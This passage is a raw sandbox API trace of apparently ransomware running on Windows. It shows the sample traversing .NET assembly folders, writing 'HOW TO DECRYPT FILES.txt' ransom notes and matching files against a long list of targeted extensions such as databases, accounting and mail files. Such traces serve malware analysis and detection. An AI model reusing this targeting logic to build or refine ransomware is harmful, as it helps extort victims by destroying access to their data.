[0112.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.m4a") returned 0 [0112.514] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.Linq\\b357f35e860204c5b74e1388f97db058\\System.Data.Linq.ni.dll", pszSpec="*.csv") returned 0 [0112.514] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6e41f3d, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6e41f3d, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6e8e1fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x351c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.Linq.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.514] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.514] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6f72a3f, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb6f72a3f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb6f72a3f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="b357f35e860204c5b74e1388f97db058", cAlternateFileName="B357F3~1")) returned 0 [0112.514] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.514] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Data.OracleC#", cAlternateFileName="SYSTEM~1.ORA")) returned 1 [0112.514] lstrcmpA (lpString1=".", lpString2="System.Data.OracleC#") returned -1 [0112.514] lstrcmpA (lpString1="..", lpString2="System.Data.OracleC#") returned -1 [0112.514] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.514] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Data.OracleC#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#" [0112.514] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0112.515] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.515] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.515] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.515] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.515] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="89eae0aa2c0c6d4678ccffdc84fcc410", cAlternateFileName="89EAE0~1")) returned 1 [0112.515] lstrcmpA (lpString1=".", lpString2="89eae0aa2c0c6d4678ccffdc84fcc410") returned -1 [0112.515] lstrcmpA (lpString1="..", lpString2="89eae0aa2c0c6d4678ccffdc84fcc410") returned -1 [0112.515] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\*.*") returned="*.*" [0112.515] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\", lpString2="89eae0aa2c0c6d4678ccffdc84fcc410" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410" [0112.515] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0112.518] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0112.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf0b15d6, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf0b15d6, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf0b15d6, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.518] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0112.518] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0112.518] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf019055, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xaf019055, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xaf03f1b5, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x16fe00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Data.OracleClient.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0112.518] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0112.518] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0112.518] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0112.518] lstrcmpiA (lpString1="", lpString2="System.Data.OracleClient.ni.dll") returned -1 [0112.518] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\*.*") returned="*.*" [0112.518] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\" [0112.518] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\") returned="" [0112.518] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\HOW TO DECRYPT FILES.txt" [0112.518] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.oraclec#\\89eae0aa2c0c6d4678ccffdc84fcc410\\how to decrypt files.txt")) returned 0xffffffff [0112.518] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\system.data.oraclec#\\89eae0aa2c0c6d4678ccffdc84fcc410\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0112.521] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0112.522] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0112.522] CloseHandle (hObject=0x90) returned 1 [0112.522] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\", lpString2="System.Data.OracleClient.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll" [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.ems") returned 0 [0112.523] lstrlenA (lpString="*.ems") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.db") returned 0 [0112.523] lstrlenA (lpString="*.db") returned 4 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.dbf") returned 0 [0112.523] lstrlenA (lpString="*.dbf") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.myox") returned 0 [0112.523] lstrlenA (lpString="*.myox") returned 6 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.myo") returned 0 [0112.523] lstrlenA (lpString="*.myo") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbw") returned 0 [0112.523] lstrlenA (lpString="*.qbw") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbb") returned 0 [0112.523] lstrlenA (lpString="*.qbb") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbm") returned 0 [0112.523] lstrlenA (lpString="*.qbm") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbo") returned 0 [0112.523] lstrlenA (lpString="*.qbo") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbx") returned 0 [0112.523] lstrlenA (lpString="*.qbx") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qba") returned 0 [0112.523] lstrlenA (lpString="*.qba") returned 5 [0112.523] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qby") returned 0 [0112.524] lstrlenA (lpString="*.qby") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qbj") returned 0 [0112.524] lstrlenA (lpString="*.qbj") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.ofx") returned 0 [0112.524] lstrlenA (lpString="*.ofx") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.qif") returned 0 [0112.524] lstrlenA (lpString="*.qif") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mye") returned 0 [0112.524] lstrlenA (lpString="*.mye") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mbox") returned 0 [0112.524] lstrlenA (lpString="*.mbox") returned 6 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.eml") returned 0 [0112.524] lstrlenA (lpString="*.eml") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.pst") returned 0 [0112.524] lstrlenA (lpString="*.pst") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.ost") returned 0 [0112.524] lstrlenA (lpString="*.ost") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.idx") returned 0 [0112.524] lstrlenA (lpString="*.idx") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.dbx") returned 0 [0112.524] lstrlenA (lpString="*.dbx") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.sql") returned 0 [0112.524] lstrlenA (lpString="*.sql") returned 5 [0112.524] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mdb") returned 0 [0112.524] lstrlenA (lpString="*.mdb") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.fdb") returned 0 [0112.525] lstrlenA (lpString="*.fdb") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.wab") returned 0 [0112.525] lstrlenA (lpString="*.wab") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.dat") returned 0 [0112.525] lstrlenA (lpString="*.dat") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.txt") returned 0 [0112.525] lstrlenA (lpString="*.txt") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.jpeg") returned 0 [0112.525] lstrlenA (lpString="*.jpeg") returned 6 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.jpg") returned 0 [0112.525] lstrlenA (lpString="*.jpg") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.png") returned 0 [0112.525] lstrlenA (lpString="*.png") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.php") returned 0 [0112.525] lstrlenA (lpString="*.php") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.cs") returned 0 [0112.525] lstrlenA (lpString="*.cs") returned 4 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.cpp") returned 0 [0112.525] lstrlenA (lpString="*.cpp") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.rar") returned 0 [0112.525] lstrlenA (lpString="*.rar") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.zip") returned 0 [0112.525] lstrlenA (lpString="*.zip") returned 5 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.html") returned 0 [0112.525] lstrlenA (lpString="*.html") returned 6 [0112.525] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.htm") returned 0 [0112.525] lstrlenA (lpString="*.htm") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.xlsx") returned 0 [0112.526] lstrlenA (lpString="*.xlsx") returned 6 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.xls") returned 0 [0112.526] lstrlenA (lpString="*.xls") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mp4") returned 0 [0112.526] lstrlenA (lpString="*.mp4") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.ppt") returned 0 [0112.526] lstrlenA (lpString="*.ppt") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.pptx") returned 0 [0112.526] lstrlenA (lpString="*.pptx") returned 6 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.doc") returned 0 [0112.526] lstrlenA (lpString="*.doc") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.dot") returned 0 [0112.526] lstrlenA (lpString="*.dot") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.docx") returned 0 [0112.526] lstrlenA (lpString="*.docx") returned 6 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.7z") returned 0 [0112.526] lstrlenA (lpString="*.7z") returned 4 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.tar") returned 0 [0112.526] lstrlenA (lpString="*.tar") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.bz2") returned 0 [0112.526] lstrlenA (lpString="*.bz2") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.gz") returned 0 [0112.526] lstrlenA (lpString="*.gz") returned 4 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.mkv") returned 0 [0112.526] lstrlenA (lpString="*.mkv") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.eml") returned 0 [0112.526] lstrlenA (lpString="*.eml") returned 5 [0112.526] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.msg") returned 0 [0112.527] lstrlenA (lpString="*.msg") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.edb") returned 0 [0112.527] lstrlenA (lpString="*.edb") returned 5 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.accdb") returned 0 [0112.527] lstrlenA (lpString="*.accdb") returned 7 [0112.527] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Data.OracleC#\\89eae0aa2c0c6d4678ccffdc84fcc410\\System.Data.OracleClient.ni.dll", pszSpec="*.odb") returned 0 [0112.527] lstrlenA (lpString="*.odb") returned 5 [0112.527] PathMatchSpecA 